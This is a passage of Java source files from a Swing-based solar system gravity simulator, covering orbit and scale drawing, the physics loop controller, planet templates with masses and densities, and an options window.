pointCacheX = (int)(xNeu - u + ellipseCenterX);
pointCacheY = (int)(ynNeu + z + ellipseCenterY);
x -= schrittweite;
if(x < -aPix)
break;
}
}
g2.drawLine(pointCacheX, pointCacheY, pointStartX, pointStartY);
//reset stroke
g2.setStroke(defaultStroke);
}
/**
* recalculates the position of all info tags to be drawn
*/
private void recalcBodyInfoTags(Graphics g, ArrayList<Body> bodies){
g.setFont(fontInfoTags);
Point bodyPos;
for(Body body : bodies){
//get Position of body
bodyPos = getPositionOnCoordinateSystemInPixels(body.x, body.y);
body.infoTagXPix = bodyPos.x;
body.infoTagYPix = bodyPos.y;
body.infoTagWidthPix = SwingUtilities.computeStringWidth(g.getFontMetrics(), body.getName());
body.infoTagFontSize = g.getFont().getSize();
body.infoTagHeightPix = body.infoTagFontSize + 4;
}
}
private void drawBodyInfoTags(Graphics g, ArrayList<Body> bodies){
g.setFont(fontInfoTags);
for(Body body : bodies){
if(body.getName().equals(""))
continue;
//Background (background rectangle)
g.setColor(colorBackground);
g.fillRect(body.infoTagXPix + 10, body.infoTagYPix + 10, body.infoTagWidthPix + 4, body.infoTagHeightPix);
//Midground (text, line and border)
g.setColor(colorMidground);
g.drawString(body.getName(), body.infoTagXPix + 10 + 2, body.infoTagYPix + 10 + body.infoTagFontSize);
g.drawLine(body.infoTagXPix, body.infoTagYPix, body.infoTagXPix + 10, body.infoTagYPix + 10);
g.drawRect(body.infoTagXPix + 10, body.infoTagYPix + 10, body.infoTagWidthPix + 4, body.infoTagHeightPix);
}
}
private void drawBackground(Graphics2D g2){
if(!this.drawBackgroundImage){
g2.setColor(colorBackground);
g2.fillRect(0, 0, this.getWidth(), this.getHeight());
return;
}
if(this.imageBackground == null)
try{
this.imageBackground = ImageIO.read(new File(BACKGROUND_IMAGE_PATH));
}catch(Exception exc){
exc.printStackTrace();
}
if(this.imageBackground == null)
return;
g2.drawImage(imageBackground, 0, 0, null);
}
private final int scaleOffsetX = 50;
private final int scaleOffsetY = 50;
private final int scaleBarThickness = 5;
private volatile String scaleText;
private volatile int scaleLengthPix;
/**
* refresht sozusagen die Größenskala
*/
private void recalcScale(Graphics2D g2) {
////calculate scale line length
double scalePix = 1 / this.pxInMeters;
int scalePixMin = 40;
while(true) {
//if scale is too small, increase it
if(scalePix < scalePixMin)
scalePix *= 5;
else
break;
//if scale is too small, increase it
if(scalePix < scalePixMin)
scalePix *= 2;
else
break;
}
this.scaleLengthPix = (int) scalePix;
////calculate scale text
double scaleMeters = scalePix * this.pxInMeters;
String scaleRaw = String.valueOf(scaleMeters);
//first number:
String firstNumber;
int zeros;
if(scaleRaw.startsWith("4") || scaleRaw.startsWith("5"))
firstNumber = "5";
else
firstNumber = "1";
//amount of zeros:
zeros = scaleRaw.indexOf(".") - 1;
if(scaleRaw.startsWith("9"))
zeros++;
//unit:
int exp = zeros;
String[] scaleRawSplit = scaleRaw.split("E");
if(scaleRawSplit.length == 2)
exp += Integer.valueOf(scaleRawSplit[1]);
//System.out.println("exp only calc: " + (int) Math.log10(scaleMeters));
String scaleUnit;
if(exp < 3) {
scaleUnit = " m";
}else if(exp < 6) {
scaleUnit = " km";
}else if(exp < 9) {
scaleUnit = " 000 km";
}else if(exp < 12) {
scaleUnit = " Mio km";
}else if(exp < 15) {
scaleUnit = " Mrd km";
}else if(exp < 18) {
scaleUnit = " Billio km";
}else if(exp < 21) {
scaleUnit = " Billia km";
}else {
scaleUnit = " too big to display xD";
}
//append everything
String scaleText = firstNumber;
for(int i = 0; i < exp % 3; i++)
scaleText += "0";
scaleText += scaleUnit;
this.scaleText = scaleText;
}
private void drawScale(Graphics2D g2) {
if(scaleText == null)
recalcScale(g2);
g2.setColor(colorMidground);
g2.drawRect(this.getWidth() - scaleOffsetX - (int) this.scaleLengthPix, this.getHeight() - scaleOffsetY - this.scaleBarThickness, (int) this.scaleLengthPix, this.scaleBarThickness);
g2.setFont(fontScaleDefault);
g2.drawString(
this.scaleText,
this.getWidth() - this.scaleOffsetX - SwingUtilities.computeStringWidth(g2.getFontMetrics(), this.scaleText),
this.getHeight() - this.scaleOffsetY - this.scaleBarThickness - g2.getFont().getSize()
);
}
private void drawTime(Graphics2D g) {
if(!this.drawTimePassed)
return;
g.setColor(colorMidground);
g.setFont(fontTimePassed);
g.drawString("Time passed: " + Main.getController().getTimePassed(), 0, 30);
}
//--------------------------------------------------------------------------------------------------
//Logic
public void centerCamera() {
this.centerCamera(0, 0);
}
public void centerCamera(double xMeters, double yMeters) {
this.positionPointAt(xMeters, yMeters, (this.getWidth() / 2), (this.getHeight() / 2));
}
public void positionPointAt(double xMeters, double yMeters, int xPixDestination, int yPixDestination) {
this.cameraOffsetXMeters = (xPixDestination * this.pxInMeters) - xMeters;
this.cameraOffsetYMeters = (yPixDestination * this.pxInMeters) - yMeters;
this.recalcOffsetPix();
this.onCameraPosChanged();
}
public void resetPosition() {
this.cameraOffsetXPix = 0;
this.cameraOffsetYPix = 0;
this.recalcOffsetMeters();
}
public Point2D.Double getPositionOnCoordinateSystemInMeters(int xPix, int yPix) {
return new Point2D.Double(
(double) (xPix - this.cameraOffsetXPix) * this.pxInMeters,
(double) (yPix - this.cameraOffsetYPix) * this.pxInMeters
);
}
public Point getPositionOnCoordinateSystemInPixels(double xMeters, double yMeters) {
return new Point(
(int) (xMeters/this.pxInMeters) + this.cameraOffsetXPix,
(int) (yMeters/this.pxInMeters) + this.cameraOffsetYPix
);
}
private void recalcOffsetMeters() {
this.cameraOffsetXMeters = this.cameraOffsetXPix * this.pxInMeters;
this.cameraOffsetYMeters = this.cameraOffsetYPix * this.pxInMeters;
}
private void recalcOffsetPix() {
this.cameraOffsetXPix = (int) (this.cameraOffsetXMeters / this.pxInMeters);
this.cameraOffsetYPix = (int) (this.cameraOffsetYMeters / this.pxInMeters);
}
private boolean isBodyVisibleOnScreen(Body body, int radiusPix) {
Point position = getPositionOnCoordinateSystemInPixels(body.x, body.y);
return position.x + radiusPix > 0
&& position.x - radiusPix < this.getWidth()
&& position.y + radiusPix > 0
&& position.y - radiusPix < this.getHeight();
}
private boolean isEllipseVisibleOnScreen(Body body) {
if(body.getAnalysisResult() == null)
return false;
AnalazysResult result = body.getAnalysisResult();
Point position = getPositionOnCoordinateSystemInPixels(result.bodyCenter.x, result.bodyCenter.y);
int aPix = (int) (result.a / this.pxInMeters);
return position.x + aPix > 0
&& position.x - aPix < this.getWidth()
&& position.y + aPix > 0
&& position.y - aPix < this.getHeight();
}
//--------------------------------------------------------------------------------------------------
//MOVEMENT
private double zoomStrength = 0.9D;
public void zoom(boolean in, int xPix, int yPix) {
Point2D.Double point = getPositionOnCoordinateSystemInMeters(xPix, yPix);
if(in) {
this.pxInMeters *= zoomStrength;
}else {
this.pxInMeters /= zoomStrength;
}
if(this.pxInMeters < 1)
this.pxInMeters = 1;
this.positionPointAt(point.getX(), point.getY(), xPix, yPix);
onZoomChanged();
}
//--------------------------------------------------------------------------------------------------
//State-Changed methods
public void onZoomChanged(){
this.recalcScale((Graphics2D) this.getGraphics());
}
public void onCameraPosChanged(){
}
private volatile boolean currentlyMouseDragging = false;
private double mouseDragStartMetersX;
private double mouseDragStartMetersY;
public void startMouseDrag(MouseEvent e) {
Point2D.Double point = this.getPositionOnCoordinateSystemInMeters(e.getX(), e.getY());
this.mouseDragStartMetersX = point.getX();
this.mouseDragStartMetersY = point.getY();
this.currentlyMouseDragging = true;
}
private void applyMouseDrag() {
if(!this.currentlyMouseDragging)
return;
Point mousePos = this.getMousePosition();
if(mousePos != null)
this.positionPointAt(this.mouseDragStartMetersX, this.mouseDragStartMetersY, mousePos.x, mousePos.y);
}
public void stopMouseDrag() {
this.currentlyMouseDragging = false;
}
public String toString() {
return "dc: camOffXPx:" + cameraOffsetXPix + ", camOffYPx:" + cameraOffsetYPix;
}
//--------------------------------------------------------------------------------------------------
//COLORS
public void loadColorPreset(ColorPreset colorPreset) {
this.colorBackground = colorPreset.background;
this.colorMidground = colorPreset.midground;
this.colorForeground = colorPreset.foreground;
}
public void loadDefaultColorPreset() {
loadColorPreset(this.defaultColorPreset);
}
//--------------------------------------------------------------------------------------------------
//ANALYSATION
public void onAnalysationStart(){
this.setShouldRepaint(true);
}
public void onAnalysationFinish(){
this.setShouldRepaint(true);
}
//--------------------------------------------------------------------------------------------------
//GETTERS
public Color getColorBackground() {
return colorBackground;
}
public Color getColorMidground() {
return colorMidground;
}
public Color getColorForeground() {
return colorForeground;
}
//--------------------------------------------------------------------------------------------------
//SETTERS
public void setShouldRepaint(boolean shouldRepaint) {
this.shouldRepaint = shouldRepaint;
}
public void setDrawWithDensity(boolean drawWithDensity){
this.drawWithDensity = drawWithDensity;
}
public void setColorForeground(Color c) {
this.colorForeground = c;
}
public void setColorMidground(Color c) {
this.colorMidground = c;
}
public void setColorBackground(Color c) {
this.colorBackground = c;
}
public void setDrawBodyInfoTags(boolean drawBodyInfoTags) {
this.drawBodyInfoTags = drawBodyInfoTags;
}
public void setDrawFocusPoints(boolean drawFocusPoints) {
this.drawFocusPoints = drawFocusPoints;
}
public void setDrawObjectScaleFactor(float factor) {
this.drawObjectScaleFactor = factor;
}
public void setDrawGIFs(boolean drawGIFs) {
this.drawGIFs = drawGIFs;
}
public void setDrawBodyOutline(boolean drawBodyOutline) {
this.drawBodyOutline = drawBodyOutline;
}
public void setDrawInfoTagScaleFactor(float drawInfoTagScaleFactor) {
this.drawInfoTagScaleFactor = drawInfoTagScaleFactor;
}
public void setDrawEllipseThickness(int drawEllipseThickness) {
this.drawEllipseStroke = new BasicStroke(drawEllipseThickness);
}
public void setDrawEllipse(boolean drawEllipse) {
this.drawEllipse = drawEllipse;
}
public void setDrawBackgroundImage(boolean drawBackgroundImage){
this.drawBackgroundImage = drawBackgroundImage;
}
public void setOnlyDrawEllipseIfBodyVisible(boolean onlyDrawEllipseIfBodyVisible) {
this.onlyDrawEllipseIfBodyVisible = onlyDrawEllipseIfBodyVisible;
}
public void setDrawTimePassed(boolean drawTimePassed) {
this.drawTimePassed = drawTimePassed;
}
}
<file_sep>/Gravity Sim/src/main/Main.java
package main;
import events.EventManager;
public class Main {
private static Controller controller;
public static void main(String[] args){
System.out.println("running");
controller = new Controller();
//initial update of body list in WindowOptions
EventManager.onBodyListChange();
}
public static Controller getController() {
return controller;
}
private static long lastGivenID = 0;
public static long getNewID() {
return lastGivenID++;
}
}
<file_sep>/Gravity Sim/src/main/Controller.java
package main;
import java.util.ArrayList;
import events.EventManager;
import physics.Body;
import physics.BodySystemTemplate;
import physics.Physics;
import physics.Templates;
import window.Window;
import window.WindowOptions;
public class Controller {
private final Window window;
private final WindowOptions windowOptions;
private ArrayList<Body> bodies;
public static final double defaultTimeMdklSDelta = 0.1;
private double timeMdklSIterationSeconds = defaultTimeMdklSDelta;
private long timeLoopSleepMS = 0;
private SimulationState state = SimulationState.SIMULATING;
//Ellipse zeichnen
//private AnalazysResult analazysResult; => Bodies
private Body[] bodiesToAnalyze;
private double timePassedSeconds;
//Follow mode
private Body bodyToFollow;
public Controller() {
window = new Window();
windowOptions = new WindowOptions();
System.out.print("loading template... ");
bodies = Templates.loadSolarsystemComplete();
System.out.println("finished");
window.getDrawComp().positionPointAt(0, 0, 0, 0);
startLoop();
}
private void startLoop() {
Runnable loop = new Runnable() {
public void run() {
// --
while(true) {
//do physics
if(bodies != null) {
if(state == SimulationState.SIMULATING) {
Physics.physicsIteration(bodies, timeMdklSIterationSeconds);
timePassedSeconds += timeMdklSIterationSeconds;
}else if(state == SimulationState.ANALIZING) {
EventManager.onAnalyzationStart();
for(Body b : bodiesToAnalyze){
if(b.getCenterBody() == null)
continue;
b.setAnalysisResult(Physics.runAnalizis(bodies, b.getCenterBody(), b, timeMdklSIterationSeconds*1000));
}
state = SimulationState.SIMULATING;
EventManager.onAnalyzationFinish();
}else if(state == SimulationState.PAUSED)
try {
Thread.sleep(10);
}catch(Exception e) {}
}
bodyToFollow = Main.getController().getBodyToFollow();
if(bodyToFollow != null) {
Main.getController().getWindow().getDrawComp().centerCamera(bodyToFollow.x, bodyToFollow.y);
}
//sleep
if(timeLoopSleepMS > 0)
try {
Thread.sleep(timeLoopSleepMS);
}catch(Exception e) {
}
}
// --
}
};
new Thread(loop, "Physics Thread").start();
}
//--------------------------------------------------------------------------------------------------
//Logic
public boolean pauseOrResume() {
if(this.getSimulationState() == SimulationState.PAUSED)
this.setSimulationState(SimulationState.SIMULATING);
else if(this.getSimulationState() == SimulationState.SIMULATING)
this.setSimulationState(SimulationState.PAUSED);
else
return false;
return true;
}
/**
* @returns if pause was successfull
*/
public boolean pause() {
this.setSimulationState(SimulationState.PAUSED);
return true;
}
// public boolean startAnalyzation() {
//
// if(!pause())
// return false;
//
// this.setSimulationState(SimulationState.ANALIZING);
//
// return true;
// }
public void startAnalyzation(Body[] bodies) {
this.bodiesToAnalyze = bodies;
this.setSimulationState(SimulationState.ANALIZING);
}
//--------------------------------------------------------------------------------------------------
//FOLLOW MODE
public void follow(Body body) {
this.bodyToFollow = body;
}
//--------------------------------------------------------------------------------------------------
//SETTERS
public void loadBodySystemTemplates(BodySystemTemplate bodySystemTemplate){
this.bodyToFollow = null;
this.bodiesToAnalyze = null;
this.bodies = bodySystemTemplate.getBodies();
windowOptions.updateBodyList();
}
private void setSimulationState(SimulationState state) {
this.state = state;
}
public void setMdklSDelta(double delta) {
this.timeMdklSIterationSeconds = delta;
}
//--------------------------------------------------------------------------------------------------
//GETTERS
public Window getWindow() {
return this.window;
}
public WindowOptions getWindowOptions() {
return this.windowOptions;
}
public ArrayList<Body> getBodies(){
return this.bodies;
}
public SimulationState getSimulationState() {
return this.state;
}
// public AnalazysResult getAnalazysResult() {
// return this.analazysResult;
// }
public Body getBodyToFollow() {
return this.bodyToFollow;
}
public String getTimePassed() {
String time = "";
int a = (int) (timePassedSeconds / 31536000d);
int d = (int) (timePassedSeconds % 31536000d / 86400d);
return a + "a " + d + "d";
}
}
<file_sep>/Gravity Sim/src/physics/Templates.java
package physics;
import java.util.ArrayList;
public class Templates {
public static final double MASS_SUN = 1.9E30; // Kg
public static final double MASS_EARTH = 5.9E24;
public static final double MASS_MOON = 7.349E22;
public static final double MASS_MARS = 6.39E23;
public static final double MASS_MERCURY = 3.301E23;
public static final double MASS_VENUS = 4.867E24;
public static final double MASS_JUPITER = 1.899E27;
public static final double MASS_SATURN = 5.685E26;
public static final double MASS_URANUS = 8.683E25;
public static final double MASS_NEPTUNE = 1.0243E26;
public static final double DENSITY_SUN = 1408; // Kg / m³
public static final double DENSITY_EARTH = 5515;
public static final double DENSITY_MOON = 3341;
public static final double DENSITY_MARS = 3930;
public static final double DENSITY_MERCURY = 5427;
public static final double DENSITY_VENUS = 5243;
public static final double DENSITY_JUPITER = 1326;
public static final double DENSITY_SATURN = 687;
public static final double DENSITY_URANUS = 1270;
public static final double DENSITY_NEPTUNE = 1638;
public static ArrayList<Body> loadSolarsystemComplete() {
ArrayList<Body> bodies = new ArrayList<Body>();
Body sun = new Body(MASS_SUN, 0, 0, 0, 0, true, "Sonne", DENSITY_SUN);
sun.setGIF("res/gifsFinal/sun.gif", -0.5f);
Body mercury = new Body(sun, true, true, MASS_MERCURY, 0, -57909000000d, 47360, 0, false, "Merkur", DENSITY_MERCURY);
// Body mercury = new Body(sun, true, true, MASS_MERCURY, 0, -57909000000d, 4360, 0, false, "Merkur", DENSITY_MERCURY);
Body venus = new Body(sun, true, true, MASS_VENUS, 0, -108160000000d, 35020, 0, false, "Venus", DENSITY_VENUS);
Body earth = new Body(sun, true, true, MASS_EARTH, 0, -150E9, 29000, 0, false, "Erde", DENSITY_EARTH);
earth.setGIF("res/gifsFinal/earth.png", -0.11f);
Body moon = new Body(earth, true, true, MASS_MOON, 384.4E6, 0, 0, 1023, false, "Mond", DENSITY_MOON);
// Body moon = new Body(earth, true, true, MASS_MOON, 384.4E6, 0, 0, 700, false, "Mond", DENSITY_MOON);
moon.setGIF("res/gifsFinal/moon.png", -0.12f);
Body mars = new Body(sun, true, true, MASS_MARS, 0, -227900000000d, 24000, 0, false, "Mars", DENSITY_MARS);
Body jupiter = new Body(sun, true, true, MASS_JUPITER, 0, -778360000000d, 13070, 0, false, "Jupiter", DENSITY_JUPITER);
// Body jupiter = new Body(sun, true, true, MASS_JUPITER, 0, -778360000000d, 1370, 0, false, "Jupiter", DENSITY_JUPITER);
Body saturn = new Body(sun, true, true, MASS_SATURN, 0, -1433500000000d, 9690, 0, false, "Saturn", DENSITY_SATURN);
Body uranus = new Body(sun, true, true, MASS_URANUS, 0, -2872400000000d, 6810, 0, false, "Uranus", DENSITY_URANUS);
Body neptune = new Body(sun, true, true, MASS_NEPTUNE, 0, -4498400000000d, 5430, 0, false, "Neptun", DENSITY_NEPTUNE);
Body ceres = new Body(sun, true, true, 9394E17, 413940000000d, 0, 0, 10000, false, "Ceres <- Asteroid", 2160);
Body halley = new Body(sun, true, true, 2E17, 0, 8.76644E11, -4570, 0, false, "Halley <- Komet", 550);
Body pluto = new Body(sun, true, true, 1.303E22, 0, 4.436774E12, -4670, 0, false, "Pluto", 1860);
bodies.add(mercury);
bodies.add(venus);
bodies.add(moon);
bodies.add(earth);
bodies.add(mars);
bodies.add(jupiter);
bodies.add(saturn);
bodies.add(uranus);
bodies.add(neptune);
bodies.add(ceres);
bodies.add(halley);
bodies.add(pluto);
bodies.add(sun);
return bodies;
}
public static ArrayList<Body> loadSolarsystemLite(){
ArrayList<Body> bodies = new ArrayList<Body>();
Body sun = new Body(MASS_SUN, 0, 0, 0, 0, true, "Sonne", DENSITY_SUN);
sun.setGIF("res/gifsFinal/sun.gif", -0.5f);
Body earth = new Body(sun, true, true, MASS_EARTH, 0, -150E9, 29000, 0, false, "Erde", DENSITY_EARTH);
earth.setGIF("res/gifsFinal/earth.png", -0.11f);
Body moon = new Body(earth, true, true, MASS_MOON, 384.4E6, 0, 0, 1023, false, "Mond", DENSITY_MOON);
// Body moon = new Body(earth, true, true, MASS_MOON, 384.4E6, 0, 0, 700, false, "Mond", DENSITY_MOON);
moon.setGIF("res/gifsFinal/moon.png", -0.12f);
bodies.add(sun);
bodies.add(moon);
bodies.add(earth);
return bodies;
}
public static ArrayList<Body> loadSolarsystemMeteorites(){
ArrayList<Body> bodies = loadSolarsystemComplete();
for(int i = 0; i < 1000; i++) {
bodies.add(new Body(MASS_MOON, 600000000000d, (i*5000000000d) - 250000000000d, -1000, 0, false, "", DENSITY_MOON));
}
return bodies;
}
// public static ArrayList<Body> loadMeteorite() {
// ArrayList<Body> bodies = new ArrayList<Body>();
//
// bodies.add(new Body(MASS_SUN, 0, 0, 0, 0, true, "Sonne", DENSITY_SUN));
// bodies.add(new Body(MASS_EARTH, 0, -150E9, 20000, 10000, false, "earth", DENSITY_EARTH));
//
// return bodies;
// }
//
// public static ArrayList<Body> loadSolarsystemDoubled() {
// ArrayList<Body> bodies = new ArrayList<Body>();
//
// bodies.add(new Body(MASS_SUN, 0, 0, 0, 0, true, "Sonne", DENSITY_SUN));
//
// bodies.add(new Body(MASS_EARTH, 0, -150E9, 30000, 0, false, "Erde 1", DENSITY_EARTH));
// bodies.add(new Body(MASS_EARTH, 0, 150E9, -30000, 0, false, "Erde 2", DENSITY_EARTH));
//
// return bodies;
// }
//
// public static ArrayList<Body> loadMeteoriteDoubled() {
// ArrayList<Body> bodies = new ArrayList<Body>();
//
// bodies.add(new Body(MASS_EARTH, 0, 0, 0, 0, true, "", DENSITY_SUN));
//
// bodies.add(new Body(MASS_EARTH, 0, -150E9, 20000, 10000, false, "", DENSITY_EARTH));
// bodies.add(new Body(MASS_EARTH, 0, 150E9, 20000, -9500, false, "", DENSITY_EARTH));
//
// return bodies;
// }
//
// /**
// * pxPerMeter scale about 100000
// */
// public static ArrayList<Body> loadRandom(int amount){
// ArrayList<Body> bodies = new ArrayList<Body>();
//
//
// for(int i = 0; i < amount; i++){
//
// bodies.add(
// new Body(
// MASS_EARTH,
// Math.random()*50000000*2 - 50000000 ,
// Math.random()*50000000*2 - 50000000 ,
// Math.random()*5000*2 - 2500,
// Math.random()*5000*2 - 2500,
// false,
// "",
// 1
// )
// );
//
// }
//
//
// return bodies;
// }
}
<file_sep>/Gravity Sim/src/window/WindowOptions.java
package window;
import java.awt.Color;
import java.awt.Dimension;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.Box;
import javax.swing.BoxLayout;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JCheckBox;
import javax.swing.JColorChooser;
import javax.swing.JComboBox;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextField;
import javax.swing.SwingUtilities;
import events.EventManager;
import main.Controller;
import main.Main;
import physics.Body;
import physics.BodySystemTemplate;
public class WindowOptions extends JFrame{
private static final long serialVersionUID = 1L;
private JPanel pOptionContainer;
private JComboBox<Body> boxBodyList;
//pOptionPause
private JButton bPauseResume;
private ImageIcon iconPause;
private ImageIcon iconResume;
//pOptionSpeed
// private JSlider sliderSimulationSpeed;
private JLabel lMdklSDelta;
private double valueMdklSDelta = Controller.defaultTimeMdklSDelta;
// private final int sliderSimulationSpeedMaximumMin = 10;
// private final int sliderSimulationSpeedMaximumMax = 1000;
private JCheckBox checkboxOptionDrawBackgroundImage;
public WindowOptions() {
loadIcons();
this.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE);
this.setTitle("Gravitos Options");
//TODO frame counter
//TODO punkte die relativ zur camera durch planeten erstellt werden (=> 'faden' (english))
//TODO add counter for time that has passes (in simulation)
//TODO - add button to reset that time
//TODO - display that counter on DrawComp? --> checkbox
//main option container
pOptionContainer = new JPanel();
pOptionContainer.setLayout(new BoxLayout(pOptionContainer, BoxLayout.Y_AXIS));
this.add(pOptionContainer);
//----------------------------------------------------------------------------------------------------
//Option regarding bodies
JPanel pBodyList = new JPanel();
// pBodyList.setAlignmentX(Component.LEFT_ALIGNMENT);
pBodyList.setPreferredSize(new Dimension(350, 50));
boxBodyList = new JComboBox<Body>();
pBodyList.add(boxBodyList);
JButton bBodyListCenterOn = new JButton("\\/");
bBodyListCenterOn.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp()
.centerCamera(
((Body) boxBodyList.getSelectedItem()).x,
((Body) boxBodyList.getSelectedItem()).y
);
}
});
pBodyList.add(bBodyListCenterOn);
JButton bBodyListStartFollow = new JButton("follow");
bBodyListStartFollow.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().follow((Body) boxBodyList.getSelectedItem());
}
});
pBodyList.add(bBodyListStartFollow);
JButton bBodyListStopFollow = new JButton("unfollow");
bBodyListStopFollow.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().follow(null);
}
});
pBodyList.add(bBodyListStopFollow);
JButton bBodyListAnalyze = new JButton("analyze");
bBodyListAnalyze.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e) {
Main.getController().startAnalyzation(new Body[] {(Body) boxBodyList.getSelectedItem()});
}
});
pBodyList.add(bBodyListAnalyze);
pOptionContainer.add(pBodyList);
//----------------------------------------------------------------------------------------------------
//Option for pausing and resuming simulation
JPanel pOptionMisc = new JPanel();
JButton bAnalyseAll = new JButton("analyze all");
bAnalyseAll.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().startAnalyzation(Main.getController().getBodies().toArray(new Body[0]));
}
});
pOptionMisc.add(bAnalyseAll);
pOptionContainer.add(pOptionMisc);
//----------------------------------------------------------------------------------------------------
//Body presets
JPanel pBodyPresets = new JPanel();
JButton bBodyPresetsSolarSystemComplete = new JButton("Sol.Sys. Lite");
bBodyPresetsSolarSystemComplete.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e) {
Main.getController().loadBodySystemTemplates(BodySystemTemplate.SOLAR_SYSTEM_LITE);
}
});
pBodyPresets.add(bBodyPresetsSolarSystemComplete);
JButton bBodyPresetsSolarSystemLite = new JButton("Sol.Sys. Complete");
bBodyPresetsSolarSystemLite.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e) {
Main.getController().loadBodySystemTemplates(BodySystemTemplate.SOLAR_SYSTEM_COMPLETE);
}
});
pBodyPresets.add(bBodyPresetsSolarSystemLite);
JButton bBodyPresetsSolarSystemMeteorite = new JButton("+ Meteorites");
bBodyPresetsSolarSystemMeteorite.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e) {
Main.getController().loadBodySystemTemplates(BodySystemTemplate.SOLAR_SYSTEM_METEORITE);
}
});
pBodyPresets.add(bBodyPresetsSolarSystemMeteorite);
pOptionContainer.add(pBodyPresets);
//----------------------------------------------------------------------------------------------------
//Option regarding colors of DrawComp
JPanel pOptionColor = new JPanel();
JLabel lOptionColor = new JLabel("Colors:");
pOptionColor.add(lOptionColor);
JButton bOptionColorReset = new JButton("reset");
bOptionColorReset.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp().loadDefaultColorPreset();
}
});
pOptionColor.add(bOptionColorReset);
pOptionColor.add(getUtilityLabelSpacer());
//Background
JButton bColorChooserBackground = new JButton("Background");
bColorChooserBackground.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Color c = JColorChooser.showDialog(Main.getController().getWindowOptions(), "Background Color", Main.getController().getWindow().getDrawComp().getColorBackground());
if(c != null)
Main.getController().getWindow().getDrawComp().setColorBackground(c);
}
});
pOptionColor.add(bColorChooserBackground);
//Midground
JButton bColorChooserMidground = new JButton("Midground");
bColorChooserMidground.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Color c = JColorChooser.showDialog(Main.getController().getWindowOptions(), "Midground Color", Main.getController().getWindow().getDrawComp().getColorMidground());
if(c != null)
Main.getController().getWindow().getDrawComp().setColorMidground(c);
}
});
pOptionColor.add(bColorChooserMidground);
//Foreground
JButton bColorChooserForeground = new JButton("Foreground");
bColorChooserForeground.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Color c = JColorChooser.showDialog(Main.getController().getWindowOptions(), "Foreground Color", Main.getController().getWindow().getDrawComp().getColorForeground());
if(c != null)
Main.getController().getWindow().getDrawComp().setColorForeground(c);
}
});
pOptionColor.add(bColorChooserForeground);
//Button for printing rgb values to console
JButton bColorChooserPrintValues = new JButton("> print");
bColorChooserPrintValues.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
DrawComp dc = Main.getController().getWindow().getDrawComp();
JOptionPane.showMessageDialog(Main.getController().getWindowOptions(),
"background: " + dc.getColorBackground().getRed() + ", " + dc.getColorBackground().getGreen() + ", " + dc.getColorBackground().getBlue() + "\n"
+ "midground: " + dc.getColorMidground().getRed() + ", " + dc.getColorMidground().getGreen() + ", " + dc.getColorMidground().getBlue() + "\n"
+ "foreground: " + dc.getColorForeground().getRed() + ", " + dc.getColorForeground().getGreen() + ", " + dc.getColorForeground().getBlue() + "\n",
"rgb values", JOptionPane.INFORMATION_MESSAGE);
}
});
pOptionColor.add(bColorChooserPrintValues);
pOptionContainer.add(pOptionColor);
//----------------------------------------------------------------------------------------------------
//Option for selecting Color Presets
JPanel pOptionColorPresets = new JPanel();
JButton bColorPresetLight = new JButton("Light");
bColorPresetLight.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp().loadColorPreset(DrawComp.ColorPreset.LIGHT);
}
});
pOptionColorPresets.add(bColorPresetLight);
JButton bColorPresetDark = new JButton("Dark");
bColorPresetDark.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp().loadColorPreset(DrawComp.ColorPreset.DARK);
}
});
pOptionColorPresets.add(bColorPresetDark);
JButton bColorPresetRed = new JButton("Red");
bColorPresetRed.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp().loadColorPreset(DrawComp.ColorPreset.RED);
}
});
pOptionColorPresets.add(bColorPresetRed);
pOptionContainer.add(pOptionColorPresets);
JPanel pOptionGraphics = new JPanel();
pOptionGraphics.add(new JLabel("Graphical Object Scale:"));
JTextField txtDrawObjectScaleFactor = new JTextField(4);
txtDrawObjectScaleFactor.setText(DrawComp.defaultDrawObjectScaleFactor + "");
txtDrawObjectScaleFactor.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
try{
float factor = Float.parseFloat(txtDrawObjectScaleFactor.getText().replaceAll(",", "."));
Main.getController().getWindow().getDrawComp().setDrawObjectScaleFactor(
factor >= 0 ? factor : -factor
);
}catch(NumberFormatException exc) {}
}
});
pOptionGraphics.add(txtDrawObjectScaleFactor);
pOptionGraphics.add(new JLabel("Info Tag Scale:"));
JTextField txtDrawInfoTagScale = new JTextField(4);
txtDrawInfoTagScale.setText(DrawComp.defaultDrawInfoTagScaleFactor + "");
txtDrawInfoTagScale.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
try{
float factor = Float.parseFloat(txtDrawInfoTagScale.getText().replaceAll(",", "."));
Main.getController().getWindow().getDrawComp().setDrawInfoTagScaleFactor(
factor >= 0 ? factor : -factor
);
}catch(NumberFormatException exc) {}
}
});
pOptionGraphics.add(txtDrawInfoTagScale);
pOptionGraphics.add(new JLabel("Ellipse Thickness:"));
JTextField txtDrawEllipseThickness = new JTextField(3);
txtDrawEllipseThickness.setText(DrawComp.defaultDrawEllipseThickness + "");
txtDrawEllipseThickness.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
try{
int thickness = Integer.parseInt(txtDrawEllipseThickness.getText().replaceAll(",", "."));
Main.getController().getWindow().getDrawComp().setDrawEllipseThickness(
